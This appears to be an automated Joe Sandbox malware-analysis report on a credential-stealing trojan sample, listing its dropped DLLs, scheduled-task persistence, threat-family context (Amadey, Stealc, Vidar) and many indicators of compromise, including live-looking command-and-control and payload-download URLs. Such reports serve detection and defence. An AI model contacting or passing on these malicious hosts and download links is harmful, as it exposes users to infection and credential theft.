C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://31.41.244.11/files/random.exe1	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exel	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpfi	100%	Avira URL Cloud	malware
http://31.41.244.11/84ed8	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe3b31dt%	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exez	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe5062coded1	0%	Avira URL Cloud	safe
http://31.41.244.11/files/random.exe1008317001	0%	Avira URL Cloud	safe
http://185.215.113.16/mine/random.exel	19%	Virustotal		Browse
http://185.215.113.206/68b591d6548ec281/sqlite3.dll0	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe1	19%	Virustotal		Browse
http://185.215.113.206/68b591d6548ec281/sqlite3.dll:	100%	Avira URL Cloud	malware
http://31.41.244.11/files/random.exe6%	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	172.217.17.46	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.165.220.110	true	false	high
www.google.com	172.217.21.36	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
deff.nelreports.net	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239340418588_1PJ4HLSB51V9JOSDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732326943672&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239399230515_1O5S4SCQK1NL15G8R&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239401309282_1PNNGZBU9L4ID4Q55&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://sb.scorecardresearch.com/b2?rn=1732326943674&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=25272F1794486D883F453A57953A6C20&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639702_1LY06F7YB2ZF9D3G5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732326952488&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239385875221_117D6BR0FMTM7OD16&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732326952602&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239370639703_1XZVEAKL3PD7EZGL4&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	false		high
https://ntp.msn.com/0	000003.log9.10.dr	false		high
https://ntp.msn.com/_default	QuotaManager.10.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.10.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.11.dr	false		high
http://31.41.244.11/files/random.exe1	skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://docs.google.com/	manifest.json0.10.dr	false		high
https://www.youtube.com	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
http://31.41.244.11/	skotes.exe, 0000001C.00000002.3401230710.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.11.dr	false		high
https://www.instagram.com	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpfi	file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://i.y.qq.com/n2/m/index.html	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://www.deezer.com/	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://web.telegram.org/	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DGHDHIDGHIDGIECBKKJJ.0.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	false		high
https://www.ecosia.org/newtab/	KFHJJJKK.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
https://excel.new?from=EdgeM365Shoreline	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
http://31.41.244.11/files/random.exe3b31dt%	skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/84ed8	skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/random.exel	file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	false	19%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://assets2.msn.com	a2c7d6a9-de92-46b8-a64d-fe5495e3d0fc.tmp.11.dr	false		high
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.10.dr	false		high
https://msn.comXIDv10	Cookies.11.dr	false		high
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
https://bard.google.com/	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.16/mine/random.exez	file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
https://www.office.com	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://outlook.live.com/mail/0/	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpg	file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	000003.log9.10.dr, 2cc80dabc69f58b6_1.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpk	file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.10.dr	false		high
https://tidal.com/	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://ntp.msn.com	000003.log4.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpw	file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gaana.com/	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://outlook.live.com/mail/compose?isExtension=true	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
http://31.41.244.11/files/random.exe5062coded1	skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://apis.google.com	chromecache_579.6.dr	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://word.new?from=EdgeM365Shoreline	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2443519605.000000002363F000.00000004.00000020.00020000.00000000.sdmp, KFHJJJKK.0.dr, Web Data.10.dr, BGIDBKKK.0.dr	false		high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://drive-autopush.corp.google.com/	manifest.json0.10.dr	false		high
https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://open.spotify.com	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://twitter.com/	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2694362561.0000000023693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJ.0.dr	false		high
https://m.vk.com/	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpt	skotes.exe, 0000001C.00000002.3401230710.0000000001319000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/random.exe1008317001	skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2694362561.0000000023693000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2667851166.00000000010B3000.00000004.00000020.00020000.00000000.sdmp, DGHDHIDGHIDGIECBKKJJ.0.dr	false		high
https://drive-daily-6.corp.google.com/	manifest.json0.10.dr	false		high
https://drive-daily-0.corp.google.com/	manifest.json0.10.dr	false		high
https://www.iheart.com/podcast/	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://music.yandex.com	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
https://clients2.googleusercontent.com	a2c7d6a9-de92-46b8-a64d-fe5495e3d0fc.tmp.11.dr, d86d4a4d-a634-4d52-9e7e-836789e4353c.tmp.11.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpo	skotes.exe, 0000001C.00000002.3401230710.00000000012DB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-3.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll0	file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.10.dr	false		high
http://www.broofa.com	chromecache_579.6.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	4cb4aa80-6612-4a4a-a375-b8d628146909.tmp.10.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll:	file.exe, 00000000.00000002.2667851166.0000000001098000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/random.exe6%	skotes.exe, 0000001C.00000002.3401230710.000000000132F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.69.109.130	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.217.19.225	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.209.72.38	unknown	United States	20940	AKAMAI-ASN1EU	false
23.40.179.38	unknown	United States	16625	AKAMAI-ASUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
23.57.90.163	unknown	United States	35994	AKAMAI-ASUS	false
23.44.136.141	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
18.164.96.83	unknown	United States	3	MIT-GATEWAYSUS	false
104.117.182.56	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.209.72.43	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.136.149	unknown	United States	20940	AKAMAI-ASN1EU	false
18.165.220.110	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.7
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561299
Start date and time:	2024-11-23 02:54:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@76/294@28/28
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 199.232.214.172, 64.233.165.84, 172.217.17.46, 172.217.21.35, 34.104.35.123, 172.217.19.202, 172.217.19.234, 142.250.181.74, 216.58.208.234, 172.217.19.170, 172.217.17.74, 172.217.17.42, 142.250.181.106, 142.250.181.138, 142.250.181.42, 172.217.21.42, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 13.107.6.158, 172.165.61.93, 23.32.238.138, 2.19.198.56, 2.16.158.179, 2.16.158.192, 2.16.158.35, 2.16.158.40, 2.16.158.48, 104.126.37.177, 104.126.37.178, 104.126.37.179, 104.126.37.170, 104.126.37.152, 104.126.37.160, 104.126.37.168, 104.126.37.185, 104.126.37.186, 23.32.238.168, 23.32.238.208, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.32.238.163, 152.199.19.161, 2.19.198.73, 23.32.238.96, 142.250.80.67, 142.251.40.131, 142.250.65.163, 142.251.32.99, 142.251.40.163, 142.250.65.195, 142.251.40.227
Excluded domains from analysis (whitelisted): prod-agic-us-3.uksouth.cloudapp.azure.com, cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, tse1.mm.bing.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, g.bing.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1
Execution Graph export aborted for target DocumentsEBKEHJJDAA.exe, PID 7272 because it is empty
Execution Graph export aborted for target skotes.exe, PID 6648 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8672 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:55:57	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
20:55:36	API Interceptor	140x Sleep call for process: file.exe modified
20:57:01	API Interceptor	84x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, CredGrabber, Credential Flusher, Cryptbot, LummaC Stealer, Meduza Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse
	https://clearview-ps.inwise.net/Page_11-21-2024_1	Get hash	malicious	HTMLPhisher	Browse
	https://fccdl.in/ads-manager/service/api/v1/ads/redirect?act=click&link=//schmidt-mediation-group.jimdosite.c	Get hash	malicious	HTMLPhisher	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	MayitaV16.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	162.159.61.3
	file.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, XWorm	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
plus.l.google.com	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	https://3a88da1a86b3b964.ngrok.app/Factura.php	Get hash	malicious	Unknown	Browse	172.217.165.142
	https://identitys.fraudguard.es/SSA_Updated_Statement	Get hash	malicious	ScreenConnect Tool	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	http://saighbuzu32uvv.top/1.php?s=527	Get hash	malicious	Unknown	Browse	142.250.181.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.78
	View_alert_details IJPI.html	Get hash	malicious	Unknown	Browse	172.217.17.78
	http://cl4ycra.hgzcbqsqumhkfshql.com/kxosbfkve	Get hash	malicious	Unknown	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
